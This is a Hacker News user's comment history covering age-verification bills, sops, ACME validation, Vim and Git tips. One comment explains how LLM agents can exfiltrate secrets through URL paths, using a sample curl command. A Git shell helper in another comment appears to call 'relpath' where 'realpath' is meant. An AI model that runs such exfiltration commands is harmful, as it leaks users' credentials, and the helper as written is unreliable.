HNHacker News
TopNewBestAskShowJobs

jmholla

1,477 karma · joined May 30, 2020

submissionscomments
jmholla··on Scrt: A CLI secret manager for developers, sysadmins and DevOps
Can you explain what you find complicated about sops? I've used it with ease for the last two years, both personally and professionally.
jmholla··on I don't know Apple's endgame for the Fn/Globe key–or if Apple does
> You continue to use it for something else? How is it different from any other default shortcut you don't line and change?

The author points out that Apple defaults often don't allow you to reuse them. They talk pretty far in the article about how that can't map globe+H to a different function. So, this theoretical is about them not being able to continue using their combination for what they want at Apple's whims.

jmholla··on A new California law says all operating systems need to have age verification
It also applies to application providers. The law requires them to have their applications ask the OS how old the user is whenever it is downloaded and launched.
jmholla··on A new California law says all operating systems need to have age verification
Far narrower is doing a lot of heavy lifting in your response.

> (c) “Application” means a software application that may be run or directed by a user on a computer, a mobile device, or any other general purpose computing device that can access a covered application store or download an application.

If your device can connect to a covered application store, every application on your computer must follow this.

jmholla··on A new California law says all operating systems need to have age verification
That's not a guarantee. It's up to how the courts interpret that and. Given that this law is meant to handle a moving target like age, I fully expect them to interpret it as its disjunctive form.
jmholla··on A new California law says all operating systems need to have age verification
Two important definitions that might surprise people:

(a) (1) “Account holder” means an individual who is at least 18 years of age or a parent or legal guardian of a user who is under 18 years of age in the state.

(a) (2) “Account holder” does not include a parent of an emancipated minor or a parent or legal guardian who is not associated with a user’s device.

(i) “User” means a child that is the primary user of the device.

User is the most surprising here. It really should just be minors, or non-emancipated minors. Further, I think there are interesting ways the definition of account holder and user combined play out in interpreting the rest of the law.

jmholla··on A new California law says all operating systems need to have age verification
Colorado is trying to copy this law right now, too.
jmholla··on A new California law says all operating systems need to have age verification
As others have pointed out, this is just a foot in the door. There's also a part of the law this article doesn't cover that requires EVERY application to query this information on every launch, regardless of whether or not the application has any age related limitations.
jmholla··on Open Letter to Google on Mandatory Developer Registration for App Distribution
I think that OP's point was that the alternative is even more locked down. There is no option for people who don't want to be nannied.
jmholla··on How did Joann Fabrics die while Best Buy survived? It wasn't Amazon
I stopped patronizing Best Buy when their store phone numbers started going to a corporate call center that couldn't tell me if something I was looking for was in stock at the store.
jmholla··on The Age Verification Trap: Verifying age undermines everyone's data protection
> Except companies provide wholly inadequate safeguards and tools. They are buggy, inconsistent, easily circumvented, and even at time malicious. Consumers should be better able to hold providers accountable, before we start going after parents.

We could mandate that companies that market the products actually have to deliver effective solutions.

jmholla··on Git's Magic Files
Whoops, there should be a slash after `${root}` in that last line.
jmholla··on Git's Magic Files
Here's a little extra magic so that you don't even need to be in the root of the repository to create such a temporary file (you'll have to change the readlink invocation if you're on MacOS):

    git-ignore-local () {
      root=$(git rev-parse --show-toplevel)
      path=$(readlink -f "$1")
      # ${path#${root}} should suffice if you don't have realpath
      relpath=$(relpath -m --relative-to="$root" "$path")
      echo "$relpath" >> "${root}.git/info/exclude"
    }
Edit: You could also put the function contents as an executable on your PATH called `git-ignore-local` then it becomes something you can invoke as `git ignore-local`.
jmholla··on Git's Magic Files
You still want to put these kinds of things in every project where you are collaborating. You can't depend on everyone to know and do this, so best to just be prepared for those who don't.
jmholla··on Colorado proposal moves age checks from websites to operating systems
I doubt it. This bill has extremely deep problems.

The constrain of a "real-time application programming interface" has no legislative priors and little concrete technical merit. This requirement on its face requires that all operating systems provide some level of guaranteed response time, as a real-time OS would. But what that guarantee is, is unspecified. Not to mentions the reasonably consistent part.

But, such a file may not necessarily exist. And given that the onus is from operating systems and not those running the operating system. The existence of a file (or lack there of), is not a sufficient guarantee.

Further, this provides only one bucket the law requires. The file(s) in question MUST be more nuanced with the law as it is written.

The real fuckery of this bill: it pretends to be privacy preserving and to protect minors, but the only people whose personal birth date information can be leaked by its implementaiton are minors.

jmholla··on Claws are now a new layer on top of LLM agents
Why not? Why not have your agent write and automate those one off scripts instead of burning tokens on repeated actions?
jmholla··on Claws are now a new layer on top of LLM agents
That's not what the parent comment was saying. They are pointing out that you can exfiltrate secret information by querying any web page with that secret information in the path. `curl www.google.com/my-bank-password`. Now, google logs have my bank password in them.
jmholla··on Colorado proposal moves age checks from websites to operating systems
A lot of the comments in here seem to be focused on mobile devices, but this law applies to basically every general computing device.

Here are the definitions from the bill in a more reasonable order than they are presented there:

> "DEVICE" MEANS ANY GENERAL-PURPOSE COMPUTING DEVICE THAT CAN ACCESS A COVERED APPLICATION STORE OR DOWNLOAD AN APPLICATION.

> "COVERED APPLICATION STORE" MEANS A PUBLICLY AVAILABLE INTERNET WEBSITE, SOFTWARE APPLICATION, ONLINE SERVICE, OR PLATFORM THAT DISTRIBUTES AND FACILITATES THE DOWNLOAD OF APPLICATIONS FROM THIRD-PARTY DEVELOPERS TO USERS OF DEVICES.

> "APPLICATION" MEANS A SOFTWARE APPLICATION THAT MAY BE RUN OR DIRECTED BY A USER ON A DEVICE.

> "DEVELOPER" MEANS A PERSON THAT WRITES, CREATES, MAINTAINS, OR CONTROLS AN APPLICATION.

The law applies to Operating System providers that runs on such a device:

> "OPERATING SYSTEM PROVIDER" MEANS A PERSON THAT DEVELOPS, LICENSES, OR CONTROLS THE OPERATING SYSTEM SOFTWARE ON A DEVICE.

Basically every Linux distro falls under this. Never mind the fact that OS providers don't really have control over where you run their code. If my device doesn't have a network card, does that mean my OS can skip this?

This also is not privacy preserving. It does require the device only report what age bracket a user belongs too, but on a long enough time frame, anyone currently under that age of 18 has their age accurately disclosed, often down to their birthday.

Worse, all applications MUST query this information every time it is run, regardless of whether or not age is at play. Every time you run grep, grep needs to know how old you are:

> A DEVELOPER SHALL REQUEST AN AGE SIGNAL WITH RESPECT TO A PARTICULAR USER FROM AN OPERATING SYSTEM PROVIDER OR A COVERED APPLICATION STORE WHEN THE DEVELOPER'S APPLICATION IS DOWNLOADED AND LAUNCHED.

Now, oddly, user is defined to be minors:

> "USER" MEANS A MINOR WHO IS THE PRIMARY USER OF A DEVICE.

But, the way the law is written, the implementation necessarily applies to everyone.

jmholla··on DNS-Persist-01: A New Model for DNS-Based Challenge Validation
> Why? ACME accounts have credentials so that the ACME client can authenticate against the certificate issuer, and ACME providers require the placement of a DNS record or a .well-known HTTP endpoint to verify that the account is authorized to act upon the demands of whoever owns the domain.

This is the previous models. In this case, DNS-Persist-01, the record is permanent and never changes. So to prove that your request is valid, they need to authenticate in some other manner. Otherwise, once you create that persistent record, anybody could request a cert for your domain.

Edit: Spivak explains the flow differences better in their comment: https://news.ycombinator.com/item?id=47065821

jmholla··on DNS-Persist-01: A New Model for DNS-Based Challenge Validation
There's a missing part here, and that's validating your ACME account ownership.

I think most users depend on automation that creates their accounts, so they never have to deal with it. But now, you need to propagate some credential to validate your account ownership to the ACME provider. I would have liked to see some conversation about that in this announcement.

I'm not familiar with Let's Encrypt's authentication model. If they don't have token creation that can be limited by target domain, but I expect you'll need to create separate accounts for each of your target domains, or else anything with that secret can create a cert for any domain your account controls.

jmholla··on Physicists Make Electrons Flow Like Water
Also selecting text and then dragging the selection somewhere is broken. I think Quanta's gonna lose its JS privileges on my browser.
jmholla··on An AI agent published a hit piece on me
> Someone would have noticed if all the phones on their network started streaming audio whenever a conversation happened.

You don't have to stream the audio. You can transcribe it locally. And it doesn't have to be 100% accurate. As for user identify, people have mentioned it on their phones which almost always have a one-to-one relationship between user and phone, and their smart devices, which are designed to do this sort of distinguishing.

jmholla··on Parse, Don't Validate (2019)
When I came to this idea on my own, I called it "translation at the edge." But for me it was more that just centralizing data validation, it also was about giving you access to all the tools your programming language has for manipulating data.

My main example was working with a co-worker whose application used a number of timestamps. They were passing them around as strings and parsing and doing math with them at the point of usage. But, by parsing the inputs into the language's timestamp representation, their internal interfaces were much cleaner and their purpose was much more obvious since that math could be exposed at the invocation and not the function logic, and thus necessarily, through complex function names.

jmholla··on LinkedIn checks for 2953 browser extensions
To clarify, you talk about why it's possible, not why LinkedIn is doing it, right? Or did I miss something in your article.
jmholla··on Brandon Sanderson just sold his Cosmere universe to Apple TV
I think your summary of act 4 is uncharitable. Every book of Sanderson's I've read has been about showing unexpected ways the rules could be combined, not surprise new rules.
jmholla··on That's not how email works
> But this post is entirely speculation. The author has no evidence they're basing it on tracking pixels. They're literally just guessing.

They literally admit to this and go on to provide the evidence for their guess:

> I think I can place a solid guess about what went wrong here.

jmholla··on My first year in sales as technical founder
How many months did you do it for until you felt comfortable on your own?
jmholla··on I set all 376 Vim options and I'm still a fool
Actually, `<n><space>` ignores things like new lines.
jmholla··on I set all 376 Vim options and I'm still a fool
Like the nth character in the current buffer? I believe vim has that built-in: `<n>go`. I think `<n><space>` will do it relative to your current position.
jmholla··on Ask HN: When has a "dumb" solution beaten a sophisticated one for you?
Mine was my senior design project as well. My group got assigned to a competition to wirelessly harness energy in the GHz range. The competition used a ratio of energy to size (power / (longest edge * mass)) to rate the entries and so we decided to focus on the denominator making ours as small as possible.

We finished design and production in the first month using off the shelf parts. That left just presentations as our work for the rest of the semester. The professors kept telling us to design large complicated antennas but we double checked that a small denominator against the minimum power requirement was a solid strategy and stuck it out. At the end of the semester, our final presentation and demonstration had them applauding our decision to focus on the size over energy.

I took our tiny little thing to the competition and we hit middle of the pack against larger and much more complicated designs, some of which couldn't even support themselves (but the supports didnt calculate into your size). And most of the competitors were graduate teams. We probably would've done even better if the banana clips we had to use weren't part of the size calculations; they were significantly bigger than the rest of our contraption.

← PreviousPage 2 of 21Next →